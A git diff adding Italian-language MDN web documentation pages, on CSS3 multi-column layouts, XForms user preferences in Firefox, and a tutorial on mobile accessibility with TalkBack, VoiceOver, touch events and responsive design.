+          &lt;span id="err"&gt;Incorrect value!&lt;/span&gt;&lt;/p&gt;
+       &lt;p&gt;&lt;button onclick="signalError();"&gt;Activate!&lt;/button&gt;&lt;/p&gt;
+     &lt;/fieldset&gt;
+  &lt;/form&gt;
+  &lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+    viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"&gt;
+    &lt;linearGradient id="gradient"&gt;
+      &lt;stop class="begin" offset="0%"/&gt;
+      &lt;stop class="end" offset="100%"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /&gt;
+    &lt;circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /&gt;
+  &lt;/svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="Spiegazione" name="Spiegazione">Spiegazione</h3>
+<p>Questa pagina è principalmente normale XHTML, CSS e JavaScript. L'unica parte interessante è l'elemento &lt;svg&gt;. Questo elemento e i suoi figli sono dichiarati nel namespace di SVG.</p>
diff --git a/files/it/le_colonne_nei_css3/index.html b/files/it/le_colonne_nei_css3/index.html
new file mode 100644
index 0000000000..7b92b713a0
--- /dev/null
+++ b/files/it/le_colonne_nei_css3/index.html
@@ -0,0 +1,67 @@
+---
+title: Le Colonne nei CSS3
+slug: Le_Colonne_nei_CSS3
+tags:
+  - CSS
+  - CSS_3
+  - Tutte_le_categorie
+translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts
+---
+<p>
+</p>
+<h3 id="Introduzione" name="Introduzione"> Introduzione </h3>
+<p>Testi con righe troppo lunghe non sono facilmente leggibili; se ci vuole troppo tempo per muovere l'occhio dalla fine di una riga all'inizio della successiva, si tende a perdere traccia della linea corrente. Perciò, per ottimizzare l'utilizzo di schermi particolarmente larghi, gli autori devono affidarsi a colonne di testo multiple, posizionate l'una accanto all'altra, come nei quotidiani. Sfortunatamente questo è impossibile da gestire con CSS e HTML, senza imporre a priori la fine di una colonna, restringere pesantemente i marcatori utilizzabili o usare script particolarmente complicati.
+</p><p><a class="external" href="http://www.w3.org/TR/css3-multicol/">Una specifica CSS3 preliminare</a> suggerisce l'utilizzo di alcune nuove proprietà CSS per implementare questa funzionalità. Da Firefox 1.5 sono state implementate alcune di queste proprietà, in modo da ottenere il comportamento descritto nella bozza preliminare (con una eccezione descritta sotto).
+</p><p>Il <a class="external" href="http://weblogs.mozillazine.org/roc/">blog di Robert O'Callahan</a> utilizza le colonne CSS; provatele con Firefox 1.5 o successivi.
+</p>
+<h3 id="Usare_le_colonne" name="Usare_le_colonne"> Usare le colonne </h3>
+<h4 id="Numero_di_colonne_e_Larghezza" name="Numero_di_colonne_e_Larghezza"> Numero di colonne e Larghezza </h4>
+<p>Due sono le proprietà CSS che controllano se devono essere utilizzate le colonne e quante: <code>-moz-column-count</code> and <code>-moz-column-width</code>.
+</p><p><code>-moz-column-count</code> imposta il numero di colonne. Per esempio,
+</p>
+<pre>&lt;div style="-moz-column-count:2"&gt;In preparation for the release of Mozilla
+Firefox 1.5 Beta 1, the tree will be locked down tonight at 11:59pm Pacific
+Daylight Time (UTC -0700). After this point, no more checkins will be accepted
+for Firefox 1.5 Beta 1, which is set for release on Thursday.&lt;/div&gt;
+</pre>
+<p>Mostrerà il contenuto in due colonne (se state usando Firefox 1.5 o successivi):
+</p>
+<div style="">In preparation for the release of Mozilla Firefox 1.5 Beta 1, the tree will be locked down tonight at 11:59pm Pacific Daylight Time (UTC -0700). After this point, no more checkins will be accepted for Firefox 1.5 Beta 1, which is set for release on Thursday.</div>
+<p><code>-moz-column-width</code> imposta la larghezza minima della colonna. Se <code>-moz-column-count</code> non viene impostato, il browser cercherà di posizionare quante più colonne possibili nella larghezza disponibile.
+</p>
+<pre>&lt;div style="-moz-column-width:20em;"&gt;In preparation for the release of Mozilla
+Firefox 1.5 Beta 1, the tree will be locked down tonight at 11:59pm Pacific
+Daylight Time (UTC -0700). After this point, no more checkins will be accepted
+for Firefox 1.5 Beta 1, which is set for release on Thursday.&lt;/div&gt;
+</pre>
+<p>diventa:
+</p>
+<div style="-moz-column-width: 20em;">In preparation for the release of Mozilla Firefox 1.5 Beta 1, the tree will be locked down tonight at 11:59pm Pacific Daylight Time (UTC -0700). After this point, no more checkins will be accepted for Firefox 1.5 Beta 1, which is set for release on Thursday.</div>
+<p>Maggiori dettagli sono descritti nella <a class="external" href="http://www.w3.org/TR/2001/WD-css3-multicol-20010118">Bozza preliminare CSS3</a>.
+</p><p>In un blocco multi-colonna, il contenuto viene automaticamente fatto scorrere da una colonna in quella successiva secondo quanto necessario. Tutte le funzionalità HTML, CSS e DOM, come la modifica e la stampa, sono supportate dalla modalità a colonne.
+</p>
+<h4 id="Bilanciamento_dell.27altezza" name="Bilanciamento_dell.27altezza"> Bilanciamento dell'altezza </h4>
+<p>La bozza preliminare CSS3 specifica che l'altezza delle colonne deve essere bilanciata: cioè, il browser imposterà automaticamente la massima altezza delle colonne, tale che il contenuto in ogni colonna abbia altezza approssimativamente uguale. Firefox lo fa.
+</p><p>Tuttavia, in alcune situazione può essere utile impostare esplicitamente la massima altezza delle colonne, e quindi riempire tante colonne quante sono necessarie, partendo dalla prima e andando verso destra. Per esempio, gli articoli su <a class=" external" href="http://iht.com/" rel="freelink">http://iht.com/</a> lo fanno (però usando uno script). Quindi si estende la specifica preliminare in modo che, se la proprietà CSS <code>height</code> è impostata per un blocco multicolonna, ad ogni colonna sarà permesso di crescere al massimo sino a quel valore di altezza, dopo di che una nuova colonna dovrà essere aggiunta. Questo metodo risulta anche molto più efficiente nel definire il layout.
+</p>
+<h4 id="Distanza_tra_colonne" name="Distanza_tra_colonne"> Distanza tra colonne </h4>
+<p>Normalmente ciascuna colonna è adiacente all'altra, ma di solito il risultato non è ottimale. E' possibile utilizzare la proprietà CSS padding tra le colonne per migliorare il risultato finale, oppure più semplicemente basta utilizzare la proprietà <code>-moz-column-gap</code> con il bloccomulticolonna:
+</p>
+<pre>&lt;div style="-moz-column-width:20em; -moz-column-gap:2em;"&gt;In preparation for
+the release of Mozilla Firefox 1.5 Beta 1, the tree will be locked down tonight
+at 11:59pm Pacific Daylight Time (UTC -0700). After this point, no more checkins
+will be accepted for Firefox 1.5 Beta 1, which is set for release on
+Thursday.&lt;/div&gt;
+</pre>
+<div style="-moz-column-width: 20em;">In preparation for the release of Mozilla Firefox 1.5 Beta 1, the tree will be locked down tonight at 11:59pm Pacific Daylight Time (UTC -0700). After this point, no more checkins will be accepted for Firefox 1.5 Beta 1, which is set for release on Thursday.</div>
+<h4 id="Degradazione" name="Degradazione"> Degradazione </h4>
+<p>Le proprietà -moz-column saranno semplicemente ignorate da browser che non supportano le colonne. Perciò è relativamente semplice creare un layout che mostri una singola colonna nei browser che non supportano questa funzionalità e che risulti invece multicolonna su Firefox 1.5 e successivi.
+</p>
+<h3 id="Conclusione" name="Conclusione"> Conclusione </h3>
+<p>Le colonne in CSS3 sono una nuova primitiva di layout che aiuterà gli sviluppatori Web a fare un uso migliore dello spazio sullo schermo. Gli sviluppatori più creativi troveranno molti modi di usarli, specialmente con la caratteristica di bilanciamento dell'altezza.
+</p><p><br>
+</p>
+<h3 id="Riferimenti_Addizionali" name="Riferimenti_Addizionali"> Riferimenti Addizionali </h3>
+<ul><li> <a class=" external" href="http://weblogs.mozillazine.org/roc/archives/2005/03/gecko_18_for_we.html" rel="freelink">http://weblogs.mozillazine.org/roc/a...18_for_we.html</a>
+</li></ul>
+{{ languages( { "en": "en/CSS3_Columns", "es": "es/Columnas_con_CSS-3", "fr": "fr/Colonnes_CSS3", "it": "it/Le_Colonne_nei_CSS3", "ko": "ko/CSS3_Columns", "pl": "pl/Kolumny_CSS3" } ) }}
diff --git a/files/it/le_preferenze_utente_e_xforms/index.html b/files/it/le_preferenze_utente_e_xforms/index.html
new file mode 100644
index 0000000000..3d5ada87de
--- /dev/null
+++ b/files/it/le_preferenze_utente_e_xforms/index.html
@@ -0,0 +1,26 @@
+---
+title: Le preferenze utente e XForms
+slug: Le_preferenze_utente_e_XForms
+tags:
+  - Tutte_le_categorie
+  - XForms
+translation_of: Archive/Web/XForms/User_preferences
+---
+<p>Una descrizione delle preferenze utente di Firefox correlate a XForms. Per accedere a queste ed altre opzioni, digitare <code>about:config</code> nella barra degli indirizzi.
+</p>
+<table class="standard-table"> <tbody><tr>
+<td class="header">Preferenza
+</td><td class="header">Valore predefinito
+</td><td class="header">Descrizione
+</td></tr> <tr>
+<td>xforms.disablePopup
+</td><td>false
+</td><td>Abilita o disabilita i messaggi di errore di XForms
+</td></tr>
+<tr>
+<td>xforms.enableExperimentalFeatures
+</td><td>false
+</td><td>Abilita o disabilita le funzionalità sperimentali. Allo stato attuale, l'unica funzionalità sperimentale è la SOAP Action di XForms 1.1.
+</td></tr>
+</tbody></table>
+{{ languages( { "fr": "fr/XForms/Pr\u00e9f\u00e9rences_utilisateur", "en": "en/XForms/User_preferences", "ja": "ja/XForms/User_preferences" } ) }}
diff --git a/files/it/learn/accessibilità/accessibilità_dispositivi_mobili/index.html b/files/it/learn/accessibilità/accessibilità_dispositivi_mobili/index.html
new file mode 100644
index 0000000000..46a2b24c4d
--- /dev/null
+++ b/files/it/learn/accessibilità/accessibilità_dispositivi_mobili/index.html
@@ -0,0 +1,336 @@
+---
+title: Accessibilità per dispositivi mobili
+slug: Learn/Accessibilità/Accessibilità_dispositivi_mobili
+tags:
+  - Accessibilità
+  - Articolo
+  - Mobile
+  - Principiante
+  - Responsivo
+  - Touchscreen
+  - imparare
+  - screenreader
+  - touch
+translation_of: Learn/Accessibility/Mobile
+---
+<div>
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibilità/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibilità")}}</div>
+
+<p class="summary">L’uso di internet tramite dispositivi mobili è sempre più diffuso, e i sistemi operativi per dispositivi mobili più popolari, Android e iOS, sono dotati di strumenti nativi per l’accessibilità. È dunque importante prendere in considerazione l’accessibilità dei tuoi contenuti su tali piattaforme. Questo articolo tratta specificamente dell’accessibilità per dispositivi mobili.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row"><strong>Prerequisiti</strong>:</th>
+   <td>Conoscimenti basici sull'uso del computer, livello basico di HTML, CSS e JavaScript, e aver letto i <a href="/it/docs/Learn/Accessibilità">precedenti articoli del corso</a><u>.</u></td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Obiettivo</strong>:</th>
+   <td>Comprendere i problemi di accessibilità relativi ai dispositivi mobili, e come risolverli.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Accessibilità_per_dispositivi_mobili"><strong>Accessibilità per dispositivi mobili </strong></h2>
+
+<p>Lo stato attuale dell’accessibilità, e del supporto degli standard web in generale, è buono nei dispositivi mobili moderni. Sono lontani i giorni in cui i dispositivi mobili utilizzavano tecnologie web completamente differenti dai browser per pc, obbligando gli sviluppatori a fornire siti completamente separati per le due piattaforme (anche se comunque molte aziende continuano a fornire un sito specifico per dispositivi mobili, di solito contenente la parola “mobile” nel dominio).</p>
+
+<p> </p>
+
+<p>Oggigiorno, in generale, i dispositivi mobili non hanno problemi a visualizzare correttamente tutti i tipi di siti, e i principali sistemi operativi mobili hanno lettori di schermo nativi. I browser moderni per dispositivi mobili hanno anche un buon supporto per <a href="/it/docs/Learn/Accessibilità/WAI-ARIA_basics">WAI-ARIA</a>.</p>
+
+<p>Per rendere un sito accessibile e usabile su dispositivi mobili devi solo rispettare le buone pratiche generali di disegno e accessibilità web.</p>
+
+<p> </p>
+
+<p>Ci sono però alcune eccezioni che richiedono una attenzione particolare; le principali sono:</p>
+
+<ul>
+ <li>Meccanismi di controllo: assicurati che i controlli di interfaccia utente, come per esempio i bottoni, siano accessibili sui touchscreen dei dispositivi mobili allo stesso modo in cui lo sono tramite mouse o tastiera su pc o laptop.</li>
+ <li>Input dell’utente: assicurati che i campi di input richiedano all’utente il minor sforzo possibile (per esempio, nei formulari fai in modo che l’utente debba scrivere il meno possibile).</li>
+ <li>Disegno responsivo: assicurati che il layout del tuo sito si adatti allo schermo dei dispositivi mobili, mantieni le dimensini delle immagini il più possibile ridotte, e pensa a come ottimizzare le immagini per gli schermi ad alta risouzione.  </li>
+</ul>
+
+<h2 id="Riassunto_dei_test_sui_lettori_di_schermo_per_Android_e_iOS"><strong>Riassunto dei test sui lettori di schermo per  Android e iOS</strong></h2>
+
+<p>I più comuni sistemi operativi per dispositivi mobili hanno installati lettori di schermo nativi pienamente funzionanti. Questi funzionano praticamente alla stessa maniera dei lettori di schermo per pc, ma si usano con gesti touch invece che con combinazioni di tasti.</p>
+
+<p>Prendiamo in considerazione i due principali lettori di schermo per dispositivi mobili: TalkBack per Android e VoiceOver per iOS.</p>
+
+<h3 id="Android_TalkBack">Android TalkBack</h3>
+
+<p> </p>
+
+<p>TalkBack è il lettore di schermo presente di default su Android.</p>
+
+<p>Per attivarlo, seleziona<em>Impostazioni &gt; Accessibilità &gt; TalkBack</em>, e premi lo switch di attivazione/disattivazione. Inoltre segui qualsiasi altra indicazione che il sistema ti fornisca.</p>
+
+<p><strong>Nota:</strong> versioni anteriori di TalkBack si attivano con <a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">metodi leggermente differenti</a>.</p>
+
+<p>Quando TalkBack è attivato, i controlli basici del tuo dispositivo Android presenteranno alcune differenze rispetto alla modalità normale. Per esempio:</p>
+
+<p> </p>
+
+<ol>
+ <li>Fare click sull’icona di una app la selezionerà senza aprirla, e il lettore pronuncerà il nome della app.</li>
+ <li>Fare swipe a destra o a sinistra farà selezionare un’altra app, oppure, se stai navigando un menu, un altro bottone/controllo. Il dispositivo leggerà ogni opzione man mano che le selezioni.</li>
+ <li>Fare doppio click aprirà la app selezionata o attiverà/disattiverà la opzione selezionata.</li>
+ <li>Puoi anche “esplorare col dito“: mantieni premuto il dito sullo schermo e fallo scorrere lungo la superficie dello stesso. Il dispositivo leggerà il nome delle varie app o oggetti su cui passerai il dito.</li>
+</ol>
+
+<p>Se vuoi disattivare TalkBack:</p>
+
+<ol>
+ <li>Naviga alle <em>Impostazioni</em></li>
+ <li>Naviga a <em>Accessibilità &gt; TalkBack</em>.</li>
+ <li>Naviga allo switch di attivazione/disattivazione e disattivalo.</li>
+</ol>
+
+<p><strong>Nota:</strong> puoi navigare alla schermata di inizio in qualsiasi momento facendo swipe in alto e a sinistra lentamente. Se hai più di una schermata di inizio, puoi muoverti da una all’altra facendo swipe con due dita a destra e sinistra.</p>
+
+<p>Per una lista più completa dei gesti che puoi usare con TalkBack, vedi <a href="https://support.google.com/accessibility/android/answer/6151827?hl=it">Utilizzare i gesti TalkBack</a>.</p>
+
+<h4 id="Sbloccare_il_telefono"><strong>Sbloccare il telefono</strong></h4>
+
+<p>Quando TalkBack è attivato, la procedura per sbloccare il telefono cambia leggermente.</p>
+
+<p>Devi fare swipe con due dita dal basso verso l’alto. Se ci sono una password o un codice impostati, sarai reindirizzato allo schermo dove inserirli.</p>
+
+<p>Puoi anche esplorare con il dito, troverai il bottone di sblocco nel centro della parte bassa dello schermo. Fai doppio click sul bottone per sbloccare lo schermo.</p>
+
+<h4 id="Menu_globali_e_locali"><strong>Menu globali e locali</strong></h4>
+
+<p>TalkBack ti permette di accedere ai menu contestuali locali e globali del dispositivo da qualunque punto del sistema operativo. I menu globali sono quelli che permettono di accedere ai controlli e alle opzioni generali del dispositivo, mentre i menu locali sono relativi alla applicazione o schermata in cui ti trovi al momento.</p>
+
+<p>Per accedere ai menu:</p>
+
+<ol>
+ <li>Per accedere al menu globale, fai swipe veloce verso il basso e poi a destra.</li>
+ <li>Per accedere al menu locale, fai swipe veloce verso l’alto e poi a destra.</li>
+ <li>Fai swipe a sinistra o a destra per muoverti da una opzione all’altra.</li>
+ <li>Quando l’opzione che ti interessa è selezionata, fai doppio click per attivarla o disattivarla.</li>
+</ol>
+
+<p>Per maggiori dettagli su tutte le opzioni disponibili nei menu locali e globali, vedi <a href="https://support.google.com/accessibility/android/answer/6007066?hl=it">Menu contestuali locali e globali</a>.</p>
+
+<h4 id="Navigare_pagine_web"><strong>Navigare pagine web</strong></h4>
+
+<p>Puoi usare il menu contestuale locale del browser per trovare le opzioni per navigare le pagine web usando gli headings, i campi dei formulari, i link, ecc., oppure navigare linea per linea.</p>
+
+<p>Per esempio, con TalkBack attivato:</p>
+
+<ol>
+ <li>Apri il tuo web browser.</li>
+ <li>Attiva la barra URL.</li>
+ <li>Introduci l’url di una pagina web che ha una serie di headings, come per esempio la pagina bbc.co.uk. Per introdurre il testo dell’URL:
+  <ul>
+   <li>Seleziona la barra URL facendo swipe a destra/sinistra fino a trovarla, e poi fai doppio click.</li>
+   <li>Mantieni il dito premuto sulla tastiera virtuale fino a quando trovi il carattere che vuoi scrivere, e rilascia il dito per introdurlo. Ripeti il procedimento per ogni carattere.</li>
+   <li>Quando hai terminato, seleziona il tasto INVIO e premilo.</li>
+  </ul>
+ </li>
+ <li>Fai swipe a sinistra o destra per muoverti tra i differenti oggetti presenti sulla pagina.</li>
+ <li>Fai swipe in alto e a destra per aprire il menu contestuale locale.</li>
+ <li>Fai swipe a destra fino a trovare la opzione "Headings e punti di riferimento".</li>
+ <li>Fai doppio click per selezionarla. Ora puoi fare swipe a destra o sinistra per muoverti tra headings e punti di riferimento ARIA.</li>
+ <li>Per ritornare al modo di default, apri il menu contestuale locale facendo swipe in alto a destra, seleziona l’opzione “Default” e fai doppio click per attivarla.</li>
+</ol>
+
+<p><strong>Nota:</strong> Vedi <a href="https://support.google.com/accessibility/android/answer/6283677?hl=it&amp;ref_topic=3529932">Guida introduttiva a TalkBack su Android</a> per una documentazione più completa.</p>
+
+<h3 id="iOS_VoiceOver">iOS VoiceOver</h3>
+
+<p> </p>
+
+<p>Una versione di VoiceOver per dispositivi mobili è inclusa in tutti i sistemi operativi iOS.</p>
+
+<p>Per attivarlo, vai alla tua app<em>Impostazioni</em>e seleziona<em>Generale&gt;Accessibilità&gt;VoiceOver</em>. Premi lo switch<em>VoiceOver</em>per attivarlo (vedrai anche alcune altre opzioni relative a VoiceOver in questa pagina).</p>
+
+<p>Quando VoiceOver sarà attivato, i controlli basici del sistema saranno leggermente diversi:</p>
+
+<p> </p>
+
+<ol>
+ <li>Un click singolo selezionerà l’oggetto su cui premi; il dispositivo pronuncerà il nome dell’oggetto selezionato.</li>
+ <li>Puoi inoltre navigare tra gli oggeti presenti sullo schermo facendo swipe a destra o sinistra per muoverti dall’uno all’altro, o facendo scorrere il dito per lo schermo. Quando troverai l’oggetto che vuoi attivare, rimuovi il dito dallo schermo per selezionarlo.</li>
+ <li>Per attivare l’oggetto dopo averlo selezionato, per esempio se vuoi aprire una applicazione, fai doppio click in qualsiasi punto dello schermo.</li>
+ <li>Fai swipe con tre dita per scorrere attraverso una pagina.</li>
+ <li>Fai click con due dita per eseguire una azione relativa al contesto corrente, come per esempio scattare una foto con la applicazione fotocamera aperta.</li>
+</ol>
+
+<p>Per disattivare VoiceOver, naviga a<em>Impostazioni</em>&gt;<em>Generale</em>&gt;<em>Accessibilità</em>&gt;<em>VoiceOver</em> e premi lo switch<em>VoiceOver</em>.</p>
+
+<h4 id="Come_usare_il_Rotore"><strong>Come usare il Rotore</strong></h4>
+
+<p>Quando VoiceOver è attivo, avrai a tua disposizione una funzionalità dei navigazione chiamata Rotore, che ti permette di accedere rapidamente ad alcune opzioni di uso comune. Per usarlo:</p>
+
+<h4 id="Using_the_Rotor">Using the Rotor</h4>
+
+<p>When VoiceOver is turned on, you have a navigation feature called the Rotor available to you, which allows you to quickly choose from a number of common useful options. To use it:</p>
+
+<ol>
+ <li>Muovi due dita in circolo per lo schermo, come se stessi usando un vecchio telefono a disco. Il dispositivo pronuncerà il nome delle varie opzioni una dopo l’altra man mano che vai muovendo le dita. Puoi andare avanti e indietro mentre il dispositivo passa da un’opzione all’altra ciclicamente.</li>
+ <li>Quando hai trovato l’opzione che ti interessa:
+  <ul>
+   <li>Rimuovi le dita dallo schermo per selezionarla.</li>
+   <li>Se si tratta di una opzione il cui valore è aumentabile/diminuibile, come per esempio il Volume o la Velocità di Locuzione, puoi fare swipe verso l’alto o verso il basso per aumentare o diminuire il valore dell’opzione selezionata.</li>
+  </ul>
+ </li>
+</ol>
+
+<p>Le opzioni disponibili tramite il Rotore dipendono dal contesto: quando apri il Rotore le opzioni che troverai saranno relative all’applicazione o alla schermata in cui ti trovi (vedi qui sotto per un esempio).</p>
+
+<h4 id="Navigare_pagine_web_2"><strong>Navigare pagine web</strong></h4>
+
+<p>Vediamo come navigare in internet usando VoiceOver:</p>
+
+<ol>
+ <li>Apri il tuo browser.</li>
+ <li>Attiva la barra URL.</li>
+ <li>Introduci l’url di una pagina web che ha una serie di headings, come per esempio la pagina bbc.co.uk. Per introdurre il testo dell’URL:
+  <ul>
+   <li>Seleziona la barra URL facendo swipe a destra o a sinistra fino a trovarla, e poi fai doppio click.</li>
+   <li>Mantieni il dito premuto sulla tastiera virtuale fino a quando trovi il carattere che vuoi scrivere, e rilascia il dito per selezionarlo. Fai doppio click per introdurlo. Ripeti il procedimento per ogni carattere.</li>
+   <li>Quando hai terminato, seleziona il tasto INVIO e premilo.</li>
+  </ul>
+ </li>
+ <li>Fai swipe a sinistra e a destra per muoverti tra i differenti oggetti presenti sulla pagina. Fai doppio click su un oggetto per selezionarlo (per esempio, per seguire un link).</li>
+ <li>L’opzione del Rotore selzionata per default è la Velocità di Locuzione; puoi fare swipe in su o in giù per aumentare o diminuire la velocità di locuzione del lettore di schermo.</li>
+ <li>Ora muovi due dita in circolo per lo schermo per aprire il Rotore e far scorrere le sue opzioni. Riportiamo qui alcuni esempi delle opzioni disponibili nel Rotore:
+  <ul>
+   <li><em>Velocità di locuzione</em>: cambia la velocità di locuzione del dispositivo.</li>
+   <li><em>Contenitori</em>: il lettore di schermo si muove per i vari contenitori semantici presenti nella pagina.</li>
+   <li><em>Headings</em>: il lettore di schermo si muove per i vari heading presenti nella pagina.</li>
+   <li><em>Links</em>: il lettore di schermo si muove per i vari link presenti nella pagina.</li>
+   <li><em>Controlli formulario</em>: il lettore di schermo si muove per i vari campi dei formulari presenti nella pagina.</li>
+   <li><em>Lingue</em>: cambia la lingua della pagina, se sono disponibili differenti traduzioni.</li>
+  </ul>
+ </li>
+ <li>Seleziona <em>Headings</em>. Ora potrai fare swipe in su e in giù per muoverti da un heading all’altro della pagina.</li>
+</ol>
+
+<p><strong>Nota:</strong> per un riferimento più completo sui gesti disponibili in VoiceOver e altri suggerimenti sul testing dell’accessibilità in iOS, vedi <a href="https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3">Test Accessibility on Your Device with VoiceOver</a>.</p>
+
+<h2 id="Meccanismi_di_controllo"><strong>Meccanismi di controllo</strong></h2>
+
+<p>Nel nostro articolo sull’accessibilità in CSS e JavaScript abbiamo preso in considerazione eventi che sono associati a specifici meccanismi di controllo (vedi <a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events">eventi specifici del mouse</a><a href="/it/docs/Learn/Accessibilità/CSS_e_JavaScript_accessibilità#Altri_problemi_di_accessibilità_con_JavaScript">del mouse</a>). Per ricapitolare, tali eventi causano problemi di accessibilità, perchè altri meccanismi di controllo non possono attivare le funzionalità ad essi associate.</p>
+
+<p>Ad esempio, l’evento <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onclick">click</a> è ottimale in termini di accessibilità: un gestore di eventi associato ad esso può essere attivato cliccando con il mouse sull’elemento su cui l’evento è impostato, oppure selezionandolo tramite tasto TAB e premendo INVIO, oppure facendo click con un dito su un touchscreen. Prova il nostro <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html">esempio-di-bottone-semplice.html</a> (<a href="https://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html">vedi la versione live</a>) per capire di cosa parliamo.</p>
+
+<p>Altri eventi simili, come <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmousedown">mousedown</a> e <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmouseup">mouseup</a> possono creare problemi, in quanto i loro gestori di eventi non possono essere attivati usando controli alternativi al mouse.</p>
+
+<p>Se provi a controllare il nostro esempio di <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html">simple-box-drag.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html">vedi la versione live</a>) tramite tastiera o touchscreen, capirai qual è il problema. Ciò succede perchè stiamo usando un codice come il seguente:</p>
+
+<pre><code>div.onmousedown = function() {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  movePanel();
+}
+
+document.onmouseup = stopMove;</code></pre>
+
+<p>Per abilitare altre forme di controllo, devi usare eventi alternativi equivalenti. Per esempio, gli eventi touch sono pensati specificamente per i dispositivi con touchscreen:</p>
+
+<pre><code>div.ontouchstart = function(e) {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  positionHandler(e);
+  movePanel();
+}
+
+panel.ontouchend = stopMove;</code></pre>
+
+<p>Presentiamo qui un semplice esempio che mostra come usare gli eventi mouse e touch insieme. Vedi  <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html">multi-control-box-drag.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html">vedi la versione liveee the example live</a>).</p>
+
+<p><strong>Nota:</strong> puoi vedere esempi di come implementare differenti meccanismi di controllo nell’articolo in inglese  <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Control_mechanisms">Implementing game control mechanisms</a>.</p>
+
+<h2 id="Disegno_responsivo"><strong>Disegno responsivo</strong></h2>
+
+<p> </p>
+
+<p>Il disegno responsivo è la pratica di realizzare layout e altre caratteristiche delle applicazioni in una forma che cambia dinamicamente secondo alcuni fattori come le dimensioni dello schermo e la risoluzione dello stesso, di modo che le applicazioni siano usabili e accessibili a utenti che usano differenti tipi di dispositivi.</p>
+
+<p>In particolare, gli aspetti più comuni del disegno responsivo che si devono prendere in considerazione per i dispositivi mobili sono:</p>
+
+<p> </p>
+
+<ul>
+ <li>Idoneità dei layout per dispositivi mobili. Un layout a colonne multiple, per esempio, solitamente non funzionerà molto bene in schermi di dimensioni ridotte. Inoltre potrebbe essere necessario incrementare le le dimensioni dei caratteri perchè siano leggibili. Tali problemi possono essere risolti creando un layout responsivo, facendo uso di tecnologie come  <a href="https://developer.mozilla.org/it/docs/Web/CSS/Media_Queries">media queries</a>, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>, e <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>.</li>
+ <li>Dimensioni delle immagini. In generale, i dispositivi con schermi di dimensioni ridotte non necessitano di immagini grandi come quelle che si usano per i monitor dei pc, e inoltre spesso navigano usando connessioni lente. È dunque opportuno fare in modo che la nostra applicazione usi immagini più piccole quando viene visualizzata su schermi di dimensioni ridotte. Per sapere come ottenere ciò, usa <a href="https://developer.mozilla.org/it/docs/Learn/HTML/Multimedia_and_embedding/immagini_reattive">tecniche responsive per immagini</a>.</li>
+ <li>Schermi ad alta risoluzione. Molti dispositivi mobili hanno schermi ad alta risoluzione, e per fare in modo che su tali schermi le immagini si visualizzino senza sfocature è necessario usare immagini ad alta risoluzione. Ancora una volta, puoi fare ricorso a tecniche responsive per immagini. Inoltre, puoi ricorrere a immagini vettoriali in SVG, un formato che ha un supporto molto ampio nei browser moderni. Gli SVG hanno un peso ridotto e mantengono invariata la qualità dell’immagine, a prescindere dalle dimensioni in cui vengono visualizzati. Vedi l'articolo in inglese <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Usare immagini vettoriali sul web</a> per maggiori dettagli.</li>
+</ul>
+
+<p><strong>Nota:</strong> non forniremo una spiegazione dettagliata delle tecniche di disegno responsivo qui, dato che sono già trattate in altri articoli presenti su questo sito (vedi i link qui sopra).</p>
+
+<h3 id="Considerazioni_specifiche_per_dispositivi_mobili">Considerazioni specifiche per dispositivi mobili</h3>
+
+<p>Ci sono altri importanti aspetti da prendere in considerazione per ottimizzare l’accessibilità dei siti sui dispositivi mobili. Riportiamo due esempi qui sotto, e in futuro speriamo di riuscire ad aggiungerne altri.</p>
+
+<h4 id="Non_disabilitare_lo_zoom"><strong>Non disabilitare lo zoom</strong></h4>
+
+<p>Utilizzando <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>, è possibile disabilitare la funzionalità di zoom, ponendo il seguente codice nella <a href="https://developer.mozilla.org/it/docs/Web/HTML/Element/head" title="The HTML &lt;head> element provides general information (metadata) about the document, including its title and links to its scripts and style sheets.">&lt;head&gt;</a>:</p>
+
+<pre><code>&lt;meta name="viewport" content="user-scalable=no"&gt;</code></pre>
+
